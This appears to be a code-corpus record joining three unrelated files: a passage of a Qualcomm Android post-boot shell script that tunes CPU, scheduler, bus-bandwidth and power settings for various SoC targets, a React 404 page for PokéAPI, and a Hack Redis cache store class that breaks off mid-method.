ddr_type=`od -An -tx /proc/device-tree/memory/ddr_device_type`
ddr_type4="07"
ddr_type5="08"
# Core control parameters for gold
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 3 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Core control parameters for gold+
echo 0 > /sys/devices/system/cpu/cpu7/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu7/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu7/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu7/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu7/core_ctl/task_thres
# Controls how many more tasks should be eligible to run on gold CPUs
# w.r.t number of gold CPUs available to trigger assist (max number of
# tasks eligible to run on previous cluster minus number of CPUs in
# the previous cluster).
#
# Setting to 1 by default which means there should be at least
# 4 tasks eligible to run on gold cluster (tasks running on gold cores
# plus misfit tasks on silver cores) to trigger assitance from gold+.
echo 1 > /sys/devices/system/cpu/cpu7/core_ctl/nr_prev_assist_thresh
# Disable Core control on silver
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/enable
# Setting b.L scheduler parameters
echo 95 95 > /proc/sys/kernel/sched_upmigrate
echo 85 85 > /proc/sys/kernel/sched_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
echo 400000000 > /proc/sys/kernel/sched_coloc_downmigrate_ns
# cpuset parameters
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# configure governor settings for silver cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy0/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/down_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/up_rate_limit_us
if [ `cat /sys/devices/soc0/revision` == "2.0" ]; then
echo 1248000 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/hispeed_freq
else
echo 1228800 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/hispeed_freq
fi
echo 691200 > /sys/devices/system/cpu/cpufreq/policy0/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/pl
# configure input boost settings
echo "0:1324800" > /sys/devices/system/cpu/cpu_boost/input_boost_freq
echo 120 > /sys/devices/system/cpu/cpu_boost/input_boost_ms
# configure governor settings for gold cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy4/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/down_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/up_rate_limit_us
echo 1574400 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/pl
# configure governor settings for gold+ cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy7/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/down_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/up_rate_limit_us
if [ `cat /sys/devices/soc0/revision` == "2.0" ]; then
echo 1632000 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/hispeed_freq
else
echo 1612800 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/hispeed_freq
fi
echo 1 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/pl
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 40 > $cpubw/polling_interval
echo "4577 7110 9155 12298 14236 15258" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 50 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 10 > $cpubw/bw_hwmon/hyst_length
echo 30 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
echo 14236 > $cpubw/max_freq
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 40 > $llccbw/polling_interval
if [ ${ddr_type:4:2} == $ddr_type4 ]; then
echo "1720 2086 2929 3879 5161 5931 6881 7980" > $llccbw/bw_hwmon/mbps_zones
elif [ ${ddr_type:4:2} == $ddr_type5 ]; then
echo "1720 2086 2929 3879 5931 6881 7980 10437" > $llccbw/bw_hwmon/mbps_zones
fi
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 80 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 10 > $llccbw/bw_hwmon/hyst_length
echo 30 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
echo 6881 > $llccbw/max_freq
done
for npubw in $device/*npu*-ddr-bw/devfreq/*npu*-ddr-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npubw/governor
echo 40 > $npubw/polling_interval
if [ ${ddr_type:4:2} == $ddr_type4 ]; then
echo "1720 2086 2929 3879 5931 6881 7980" > $npubw/bw_hwmon/mbps_zones
elif [ ${ddr_type:4:2} == $ddr_type5 ]; then
echo "1720 2086 2929 3879 5931 6881 7980 10437" > $npubw/bw_hwmon/mbps_zones
fi
echo 4 > $npubw/bw_hwmon/sample_ms
echo 160 > $npubw/bw_hwmon/io_percent
echo 20 > $npubw/bw_hwmon/hist_memory
echo 10 > $npubw/bw_hwmon/hyst_length
echo 30 > $npubw/bw_hwmon/down_thres
echo 0 > $npubw/bw_hwmon/guard_band_mbps
echo 250 > $npubw/bw_hwmon/up_scale
echo 1600 > $npubw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
for npullccbw in $device/*npu*-llcc-bw/devfreq/*npu*-llcc-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npullccbw/governor
echo 40 > $npullccbw/polling_interval
echo "4577 7110 9155 12298 14236 15258" > $npullccbw/bw_hwmon/mbps_zones
echo 4 > $npullccbw/bw_hwmon/sample_ms
echo 160 > $npullccbw/bw_hwmon/io_percent
echo 20 > $npullccbw/bw_hwmon/hist_memory
echo 10 > $npullccbw/bw_hwmon/hyst_length
echo 30 > $npullccbw/bw_hwmon/down_thres
echo 0 > $npullccbw/bw_hwmon/guard_band_mbps
echo 250 > $npullccbw/bw_hwmon/up_scale
echo 1600 > $npullccbw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
#Enable mem_latency governor for L3 scaling
for memlat in $device/*qcom,devfreq-l3/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable cdspl3 governor for L3 cdsp nodes
for l3cdsp in $device/*qcom,devfreq-l3/*cdsp-l3-lat/devfreq/*cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Enable mem_latency governor for LLCC and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
#Gold L3 ratio ceil
for l3gold in $device/*qcom,devfreq-l3/*cpu4-cpu-l3-lat/devfreq/*cpu4-cpu-l3-lat
do
echo 4000 > $l3gold/mem_latency/ratio_ceil
done
#Prime L3 ratio ceil
for l3prime in $device/*qcom,devfreq-l3/*cpu7-cpu-l3-lat/devfreq/*cpu7-cpu-l3-lat
do
echo 20000 > $l3prime/mem_latency/ratio_ceil
done
#Enable mem_latency governor for qoslat
for qoslat in $device/*qoslat/devfreq/*qoslat
do
echo "mem_latency" > $qoslat/governor
echo 10 > $qoslat/polling_interval
echo 50 > $qoslat/mem_latency/ratio_ceil
done
done
echo N > /sys/module/lpm_levels/parameters/sleep_disabled
configure_memory_parameters
;;
esac
case "$target" in
"msm8998" | "apq8098_latv")
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu4/core_ctl/is_big_cluster
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 1 > /proc/sys/kernel/sched_migration_fixup
echo 95 > /proc/sys/kernel/sched_upmigrate
echo 90 > /proc/sys/kernel/sched_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 95 > /proc/sys/kernel/sched_group_downmigrate
echo 0 > /proc/sys/kernel/sched_select_prev_cpu_us
echo 400000 > /proc/sys/kernel/sched_freq_inc_notify
echo 400000 > /proc/sys/kernel/sched_freq_dec_notify
echo 5 > /proc/sys/kernel/sched_spill_nr_run
echo 1 > /proc/sys/kernel/sched_restrict_cluster_spill
echo 1 > /proc/sys/kernel/sched_prefer_sync_wakee_to_waker
start iop
# disable thermal bcl hotplug to switch governor
echo 0 > /sys/module/msm_thermal/core_control/enabled
# online CPU0
echo 1 > /sys/devices/system/cpu/cpu0/online
# configure governor settings for little cluster
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 19000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1248000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "83 1804800:95" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 19000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 79000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 518400 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/ignore_hispeed_on_notif
# online CPU4
echo 1 > /sys/devices/system/cpu/cpu4/online
# configure governor settings for big cluster
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo 19000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 1574400 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "83 1939200:90 2016000:95" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 19000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 79000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
echo 806400 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/ignore_hispeed_on_notif
# re-enable thermal and BCL hotplug
echo 1 > /sys/module/msm_thermal/core_control/enabled
# Enable input boost configuration
echo "0:1324800" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo 1525 > $cpubw/min_freq
echo "3143 5859 11863 13763" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 34 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 10 > $cpubw/bw_hwmon/hyst_length
echo 0 > $cpubw/bw_hwmon/low_power_ceil_mbps
echo 34 > $cpubw/bw_hwmon/low_power_io_percent
echo 20 > $cpubw/bw_hwmon/low_power_delay
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
echo "cpufreq" > /sys/class/devfreq/soc:qcom,mincpubw/governor
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_version ]; then
platform_version=`cat /sys/devices/soc0/platform_version`
platform_major_version=$((10#${platform_version}>>16))
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
case "$soc_id" in
"292") #msm8998 apq8098_latv
# Start Host based Touch processing
case "$hw_platform" in
"QRD")
case "$platform_subtype_id" in
"0")
start_hbtp
;;
"16")
if [ $platform_major_version -lt 6 ]; then
start_hbtp
fi
;;
esac
;;
esac
;;
esac
echo N > /sys/module/lpm_levels/system/pwr/cpu0/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu1/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu2/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu3/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu4/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu5/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu6/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu7/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-dynret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-dynret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-ret/idle_enabled
echo N > /sys/module/lpm_levels/parameters/sleep_disabled
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
echo 0 > /proc/sys/kernel/sched_boost
# Set Memory parameters
configure_memory_parameters
;;
esac
case "$target" in
"msm8909")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
# HMP scheduler settings for 8909 similiar to 8917
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
echo 1 > /proc/sys/kernel/sched_restrict_tasks_spread
echo 20 > /proc/sys/kernel/sched_small_task
echo 30 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_load
echo 3 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_nr_run
echo 0 > /sys/devices/system/cpu/cpu0/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu1/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu2/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu3/sched_prefer_idle
# Apply governor settings for 8909
# disable thermal core_control to update scaling_min_freq
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 800000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable thermal core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
echo "29000 1094400:49000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 30000 > /sys/devices/system/cpu/cpufreq/interactive/timer_rate
echo 998400 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpufreq/interactive/io_is_busy
echo "1 800000:85 998400:90 1094400:80" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 50000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 50000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
for devfreq_gov in /sys/class/devfreq/*qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_bimc_bw_step in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/bw_step
do
echo 60 > $cpu_bimc_bw_step
done
for cpu_guard_band_mbps in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/guard_band_mbps
do
echo 30 > $cpu_guard_band_mbps
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/*qcom,gpubw*/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
for gpu_bimc_bw_step in /sys/class/devfreq/*qcom,gpubw*/bw_hwmon/bw_step
do
echo 60 > $gpu_bimc_bw_step
done
for gpu_bimc_guard_band_mbps in /sys/class/devfreq/*qcom,gpubw*/bw_hwmon/guard_band_mbps
do
echo 30 > $gpu_bimc_guard_band_mbps
done
# Set Memory parameters
configure_memory_parameters
restorecon -R /sys/devices/system/cpu
;;
esac
case "$target" in
"msm7627_ffa" | "msm7627_surf" | "msm7627_6x")
echo 25000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
;;
esac
case "$target" in
"qsd8250_surf" | "qsd8250_ffa" | "qsd8650a_st1x")
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
;;
esac
case "$target" in
"qsd8650a_st1x")
mount -t debugfs none /sys/kernel/debug
;;
esac
chown -h system /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
chown -h system /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
chown -h system /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
emmc_boot=`getprop vendor.boot.emmc`
case "$emmc_boot"
in "true")
chown -h system /sys/devices/platform/rs300000a7.65536/force_sync
chown -h system /sys/devices/platform/rs300000a7.65536/sync_sts
chown -h system /sys/devices/platform/rs300100a7.65536/force_sync
chown -h system /sys/devices/platform/rs300100a7.65536/sync_sts
;;
esac
case "$target" in
"msm8960" | "msm8660" | "msm7630_surf")
echo 10 > /sys/devices/platform/msm_sdcc.3/idle_timeout
;;
"msm7627a")
echo 10 > /sys/devices/platform/msm_sdcc.1/idle_timeout
;;
esac
# Post-setup services
case "$target" in
"msm8660" | "msm8960" | "msm8226" | "msm8610" | "mpq8092" )
start mpdecision
;;
"msm8974")
start mpdecision
echo 512 > /sys/block/mmcblk0/bdi/read_ahead_kb
;;
"msm8909" | "msm8916" | "msm8937" | "msm8952" | "msm8953" | "msm8994" | "msm8992" | "msm8996" | "msm8998" | "sdm660" | "apq8098_latv" | "sdm845" | "sdm710" | "msmnile" | "sdmshrike" |"msmsteppe" | "sm6150" | "kona" | "lito" | "trinket" | "atoll" | "bengal" )
setprop vendor.post_boot.parsed 1
;;
"apq8084")
rm /data/system/perfd/default_values
start mpdecision
echo 512 > /sys/block/mmcblk0/bdi/read_ahead_kb
echo 512 > /sys/block/sda/bdi/read_ahead_kb
echo 512 > /sys/block/sdb/bdi/read_ahead_kb
echo 512 > /sys/block/sdc/bdi/read_ahead_kb
echo 512 > /sys/block/sdd/bdi/read_ahead_kb
echo 512 > /sys/block/sde/bdi/read_ahead_kb
echo 512 > /sys/block/sdf/bdi/read_ahead_kb
echo 512 > /sys/block/sdg/bdi/read_ahead_kb
echo 512 > /sys/block/sdh/bdi/read_ahead_kb
;;
"msm7627a")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"127" | "128" | "129")
start mpdecision
;;
esac
;;
esac
# Enable Power modes and set the CPU Freq Sampling rates
case "$target" in
"msm7627a")
start qosmgrd
echo 1 > /sys/module/pm2/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/pm2/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/pm2/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/pm2/modes/cpu1/standalone_power_collapse/suspend_enabled
#SuspendPC:
echo 1 > /sys/module/pm2/modes/cpu0/power_collapse/suspend_enabled
#IdlePC:
echo 1 > /sys/module/pm2/modes/cpu0/power_collapse/idle_enabled
echo 25000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
;;
esac
# Change adj level and min_free_kbytes setting for lowmemory killer to kick in
case "$target" in
"msm7627a")
echo 0,1,2,4,9,12 > /sys/module/lowmemorykiller/parameters/adj
echo 5120 > /proc/sys/vm/min_free_kbytes
;;
esac
# Install AdrenoTest.apk if not already installed
if [ -f /data/prebuilt/AdrenoTest.apk ]; then
if [ ! -d /data/data/com.qualcomm.adrenotest ]; then
pm install /data/prebuilt/AdrenoTest.apk
fi
fi
# Install SWE_Browser.apk if not already installed
if [ -f /data/prebuilt/SWE_AndroidBrowser.apk ]; then
if [ ! -d /data/data/com.android.swe.browser ]; then
pm install /data/prebuilt/SWE_AndroidBrowser.apk
fi
fi
# Change adj level and min_free_kbytes setting for lowmemory killer to kick in
case "$target" in
"msm8660")
start qosmgrd
echo 0,1,2,4,9,12 > /sys/module/lowmemorykiller/parameters/adj
echo 5120 > /proc/sys/vm/min_free_kbytes
;;
esac
product=`getprop ro.build.product`
case "$product" in
"msmnile_au")
#Setting the min and max supported frequencies
reg_val=`cat /sys/devices/platform/soc/780130.qfprom/qfprom0/nvmem | od -An -t d4`
feature_id=$(((reg_val >> 20) & 0xFF))
if [ $feature_id == 0 ]; then
echo "feature_id is 0 for SA8155"
echo 1036800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1036800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 1036800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 1036800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 1056000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 1056000 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1056000 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1171200 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
echo 1785600 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 1785600 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
echo 1785600 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
echo 1785600 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
echo 2131200 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
echo 2131200 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_max_freq
echo 2131200 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_max_freq
echo 2419200 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_max_freq
echo 4 > /sys/class/kgsl/kgsl-3d0/min_pwrlevel
echo 0 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
elif [ $feature_id == 1 ]; then
echo "feature_id is 1 for SA8150"
echo 1036800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1036800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 1036800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 1036800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 1056000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 1056000 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1056000 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1171200 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
echo 1785600 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 1785600 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
echo 1785600 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
echo 1785600 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
echo 1920000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
echo 1920000 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_max_freq
echo 1920000 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_max_freq
echo 2227200 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_max_freq
echo 4 > /sys/class/kgsl/kgsl-3d0/min_pwrlevel
echo 3 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
else
echo "unknown feature_id value" $feature_id
fi
;;
*)
;;
esac
# Let kernel know our image version/variant/crm_version
if [ -f /sys/devices/soc0/select_image ]; then
image_version="10:"
image_version+=`getprop ro.build.id`
image_version+=":"
image_version+=`getprop ro.build.version.incremental`
image_variant=`getprop ro.product.name`
image_variant+="-"
image_variant+=`getprop ro.build.type`
oem_version=`getprop ro.build.version.codename`
echo 10 > /sys/devices/soc0/select_image
echo $image_version > /sys/devices/soc0/image_version
echo $image_variant > /sys/devices/soc0/image_variant
echo $oem_version > /sys/devices/soc0/image_crm_version
fi
# Change console log level as per console config property
console_config=`getprop persist.console.silent.config`
case "$console_config" in
"1")
echo "Enable console config to $console_config"
echo 0 > /proc/sys/kernel/printk
;;
*)
echo "Enable console config to $console_config"
;;
esac
# Parse misc partition path and set property
misc_link=$(ls -l /dev/block/bootdevice/by-name/misc)
real_path=${misc_link##*>}
setprop persist.vendor.mmi.misc_dev_path $real_path
|
import React from 'react';
import Layout from '../components/Layout';
import Container from '../components/Container';
import TitleAndMetaTags from '../components/TitleAndMetaTags';
const PageNotFound = ({location}) => (
<Layout location={location}>
<Container isNarrow>
<TitleAndMetaTags title="PokéAPI · Page Not Found" />
<h1>404 – Page Not Found</h1>
<p>We couldn't find what you were looking for.</p>
<p>
Please contact the owner of the site that linked you to the
original URL and let them know their link is broken.
</p>
</Container>
</Layout>
);
export default PageNotFound;
|
<?hh // strict
namespace Waffle\Cache\Store;
use namespace HH\Lib\C;
use namespace HH\Lib\Str;
use type Waffle\Cache\Serializer\SerializerInterface;
use type Waffle\Cache\Serializer\DefaultSerializer;
use type Waffle\Cache\Exception\InvalidArgumentException;
use type Redis;
use function version_compare;
use function preg_match;
class RedisStore extends Store
{
public function __construct(
protected Redis $redis,
string $namespace = '',
num $defaultTtl = 0,
protected SerializerInterface $serializer = new DefaultSerializer()
) {
$redis->ping();
if (preg_match('#[^-+_.A-Za-z0-9]#', $namespace)) {
throw new InvalidArgumentException('RedisStore namespace cannot contain any characters other than [-+_.A-Za-z0-9].');
}
parent::__construct($namespace, $defaultTtl);
}
<<__Override>>
public function retrieve(string $id): mixed
{
if (!$this->has($id)) {
return null;
}
return $this->serializer->unserialize(
(string) $this->redis->get($id)
);
}
<<__Override>>
public function remove(string $id): bool
{
return (bool) $this->redis->del($id);
}
<<__Override>>
public function has(string $id): bool
{
return (bool) $this->redis->exists($id);
}
<<__Override>>
public function set(string $id, mixed $value, num $ttl = 0): bool
{
$value = $this->serializer->serialize($value);
if (0 >= $ttl) {
return (bool) $this->redis->set($id, $value);
} else {
return (bool) $this->redis->setex($id, $ttl, $value);
}
}
<<__Override>>
public function wipe(string $namespace): bool
{
if (Str\is_empty($namespace)) {
